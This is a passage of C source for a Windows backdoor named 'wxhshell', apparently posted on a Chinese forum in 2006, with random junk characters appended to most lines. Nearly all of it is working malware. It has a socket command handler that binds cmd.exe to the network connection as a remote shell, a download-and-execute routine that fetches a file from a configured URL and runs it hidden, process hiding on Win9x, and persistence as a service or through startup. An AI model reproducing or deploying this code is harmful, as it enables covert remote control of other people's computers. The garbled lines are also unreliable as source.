  // 帮助 &1$d`>fn  
  case '?': { ux<|8S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QkBw59L7  
    break; 8@;]@c)m  
  } Z#Mm4(KNh  
  // 安装 mY.v:  
  case 'i': { 3]l)uoNt/  
    if(Install()) x "{aO6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >\d&LLAe  
    else <Z]#vr q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); moM? aYm  
    break; kJJT`Ba&/  
    } 5p (zhfuG  
  // 卸载 =#2c r:1  
  case 'r': { #RBrii-,  
    if(Uninstall()) cD0rU8x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nE>)ZH  
    else ob\-OMNs@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {V6&((E8  
    break; hZx&j{  
    } I8Aq8XBw  
  // 显示 wxhshell 所在路径 lI<jYd 0fZ  
  case 'p': { =]%JTGdp(  
    char svExeFile[MAX_PATH]; }|.<EkA  
    strcpy(svExeFile,"\n\r"); ISGw}#}]?  
      strcat(svExeFile,ExeFile); wtw=RA  
        send(wsh,svExeFile,strlen(svExeFile),0); 2!{D~Gfl=  
    break; P.y +jyu  
    } 3YHEH\60^  
  // 重启 z&6_}{2,]  
  case 'b': { gQ_<;'m)2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N&HI)X2&  
    if(Boot(REBOOT)) jE*{^+n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h p]J> i.  
    else { \N9=13W<lK  
    closesocket(wsh); KqK]R6>  
    ExitThread(0); *?FVLE  
    } tF:AnNp=  
    break; wZ(1\ M(  
    } EhxpMTS  
  // 关机 "`>6M&`U  
  case 'd': { o{PG& }K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k+J%o%* <  
    if(Boot(SHUTDOWN)) MgXZN{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x3q^}sj%  
    else { ;z'&$#pA  
    closesocket(wsh); K!6T8^JH  
    ExitThread(0); yaR>?[h  
    } 0V:H/qu8>  
    break; `?z('FV  
    } 6u, g  
  // 获取shell |p:4s"NT  
  case 's': { , Y:oTo=~  
    CmdShell(wsh); U#z"t&o=L  
    closesocket(wsh); 0~U#DTx0  
    ExitThread(0); }j/\OY _&  
    break; I~&*^q6 |  
  } /HdXJL9B  
  // 退出 %g9y m@s  
  case 'x': { dla_uXtM6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tx09B)0  
    CloseIt(wsh); w){B$X  
    break; zDvV%+RW)  
    } w|f+OlPXq  
  // 离开 Cj= R\@  
  case 'q': { !]F`qS>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b 7sfr!t_d  
    closesocket(wsh); \l/(L5gY  
    WSACleanup(); xm{?h,U,  
    exit(1); QNbZ)  
    break; G#%Sokkb'  
        } n*\o. :f  
  } wq?"NQ?O<  
  } S)EF&S(TC  
F$UL.`X _/  
  // 提示信息 lV'?X%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gt8dFcm|s  
} "09v6Tx  
  } "]eB2k_>  
a4s't% P  
  return; -8)Hulo/{U  
} ~i1 jh:,  
oXZWg~&l^  
// shell模块句柄 q7CLxv &QG  
int CmdShell(SOCKET sock) }XUL\6U  
{ N^QxqQ~  
STARTUPINFO si; 6.]~7n  
ZeroMemory(&si,sizeof(si)); .s\lfBo9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X@kgc&`0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a<-aE4wdm  
PROCESS_INFORMATION ProcessInfo; X+ Sqw5rH  
char cmdline[]="cmd"; -7!L]BcZ.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! >F70  
  return 0; ~C{:G;Iy0  
} E{)X ;kN=  
huZ5?'/Fg  
// 自身启动模式 ]\rQ{No  
int StartFromService(void)  L]l/w  
{ 5@RcAQb:  
typedef struct Ys.GBSlHG  
{ =R:O`qdC4e  
  DWORD ExitStatus; f I%8@ :  
  DWORD PebBaseAddress; uG -+&MU?  
  DWORD AffinityMask; @q!T,({kx  
  DWORD BasePriority; /,S VG1  
  ULONG UniqueProcessId; `Hw][qy#  
  ULONG InheritedFromUniqueProcessId; '`;=d<'  
}   PROCESS_BASIC_INFORMATION; m$C1Ea-wnT  
RR=WD-l  
PROCNTQSIP NtQueryInformationProcess; E q4tcZ  
^P{y^@XI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sPc}hG+N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h1?xfdvGd  
mxEe -q  
  HANDLE             hProcess; K bQXH!J  
  PROCESS_BASIC_INFORMATION pbi; "'t f]s  
+\["HS7+'0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kxJs4BY0  
  if(NULL == hInst ) return 0; bLS10^g5  
3XB`|\:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $hc=H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |(l]Xr&O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Syseiw  
l1kHFeq  
  if (!NtQueryInformationProcess) return 0; '+Jy//5?  
|11vm#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8+Tv@  
  if(!hProcess) return 0; !\|  
b5MU$}:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hlre eXv  
'DXT7|Df  
  CloseHandle(hProcess); fn/?I \  
KC&XOI %  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 02J(*_o  
if(hProcess==NULL) return 0; MA_YMxP.'  
(xvg.Nby  
HMODULE hMod; $@kOMT  
char procName[255]; N"<.v6Z  
unsigned long cbNeeded; 3=U#v<  
S@!_{da  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I++ Le%w  
[>>_%T\I  
  CloseHandle(hProcess); *.eeiSi{  
>`3F`@1L0  
if(strstr(procName,"services")) return 1; // 以服务启动 :~R a}  
94O\M RQ*  
  return 0; // 注册表启动 `%~}p7Zu  
} Ohj^Z&j  
Z&?4<-@6\p  
// 主模块 CB-;Jqb  
int StartWxhshell(LPSTR lpCmdLine) Z  #  
{ @i> r(X  
  SOCKET wsl; i._RMl5zg  
BOOL val=TRUE; x>mI$K(6M  
  int port=0; &Jb$YKt  
  struct sockaddr_in door; %m/lPL  
r [^.\&-  
  if(wscfg.ws_autoins) Install(); doTbol?+  
SIm1fC  
port=atoi(lpCmdLine); %Iflf]l  
F{QOu0$cA4  
if(port<=0) port=wscfg.ws_port; ;=IJHk1&  
^ )"Il  
  WSADATA data; ` ;mQ"lO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {HM[ )t0  
C7R3W,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'bLP#TAzf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); At[Q0'jkc  
  door.sin_family = AF_INET; _:NQF7X#ug  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aaf}AIL.  
  door.sin_port = htons(port); &QD)1b[U  
N;YFr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l=" X|t   
closesocket(wsl); `peR,E  
return 1; Oq% TW|a#  
} ^Os }sJ*5S  
0U/[hG"DKN  
  if(listen(wsl,2) == INVALID_SOCKET) { p*g)-/mA  
closesocket(wsl); wXp:XZ:]T  
return 1; + \%]<YO  
} OESKLjFt  
  Wxhshell(wsl); VHqoa>U,*  
  WSACleanup(); "|J6*s   
{*n<A{$[ m  
return 0; ?mC'ZYQI  
o ~y{9Q  
} JAjiG^]  
Kv1~,j6  
// 以NT服务方式启动 `Rq|*:LV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w(`g)`  
{ y2?9pVLa\y  
DWORD   status = 0; H[s+.&^  
  DWORD   specificError = 0xfffffff; re%XaL  
mX.mX70|J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E(6P%(yt8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Go:(R {P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bWb/>hI8 Q  
  serviceStatus.dwWin32ExitCode     = 0; CDtL.a\  
  serviceStatus.dwServiceSpecificExitCode = 0; F~E)w5?\O  
  serviceStatus.dwCheckPoint       = 0; }OnU32P  
  serviceStatus.dwWaitHint       = 0; t 3N}):  
YWd2bRb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2+)h!y]  
  if (hServiceStatusHandle==0) return; :, v(l q  
b@4UR<  
status = GetLastError(); `EMGrw_  
  if (status!=NO_ERROR) `$JZJ!,A  
{ a]P%Y.? r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :epB:r  
    serviceStatus.dwCheckPoint       = 0;  (t5y$b c  
    serviceStatus.dwWaitHint       = 0; mYJ8O$  
    serviceStatus.dwWin32ExitCode     = status; I*o6Bn |D  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^Lfwoy7R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,MJddbcg  
    return; KLG.?`h:  
  } A_ &IK;-go  
paN=I=:*M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yp=sL' E  
  serviceStatus.dwCheckPoint       = 0; NRG~ya >  
  serviceStatus.dwWaitHint       = 0; yyu-y0_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BHgs,  
} Kc^ctAk7;  
*UW 8|\;  
// 处理NT服务事件,比如:启动、停止 bvZD@F`2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cpd>xXZz&S  
{ {df;R|8 l  
switch(fdwControl) O\;Lb[`lb  
{ @##}zku  
case SERVICE_CONTROL_STOP: rDwd!Jet  
  serviceStatus.dwWin32ExitCode = 0; =&"pG` x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D1>*ml  
  serviceStatus.dwCheckPoint   = 0; )q4nyT>M  
  serviceStatus.dwWaitHint     = 0; [D+PDR  
  { IN1 n^f$:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >#mKM%T2MJ  
  } #<&@-D8  
  return; 8,+T[S  
case SERVICE_CONTROL_PAUSE: 0]DX KI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;XZN0A2  
  break; Dn#5H{D-d  
case SERVICE_CONTROL_CONTINUE: f`>\bdz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; og+Vrd  
  break; Dvz 6 E  
case SERVICE_CONTROL_INTERROGATE: lc fAb@}2  
  break; "tk1W>liIN  
}; ]CS N7Q+l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uW[AnQ1w  
} oliVaavj  
&l{ctP%q  
// 标准应用程序主函数 ~/SLGyu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~KGE(o4p  
{ 5gx;Bp^_  
p'@z}T?F  
// 获取操作系统版本 H)*%eG~  
OsIsNt=GetOsVer(); AoxORPp'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KU+u.J  
&];W#9"Z  
  // 从命令行安装 8?EKF+.u|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5c%Fb :BW=  
!.@:t`w  
  // 下载执行文件 Bgsi$2hI  
if(wscfg.ws_downexe) { /-@F|,O)$n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d--6<_q  
  WinExec(wscfg.ws_filenam,SW_HIDE); D2MIV&pahP  
} c(3idO*R)  
/!"sPtIh  
if(!OsIsNt) { 8rU| Oh  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]4*E:  
HideProc(); i}<fg*6@E  
StartWxhshell(lpCmdLine); 4.kn , s  
} Ix=(f0|  
else a{By U%  
  if(StartFromService()) -=1>t3~\  
  // 以服务方式启动 brCL"g|}  
  StartServiceCtrlDispatcher(DispatchTable); pF~aR]Q  
else $Zrc-tkV  
  // 普通方式启动 11A;z[Zk  
  StartWxhshell(lpCmdLine); [Q8vS;.  
+H? XqSC  
return 0; $9Xn.,W  
}
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只看该作者 1 发表于: 2006-10-10
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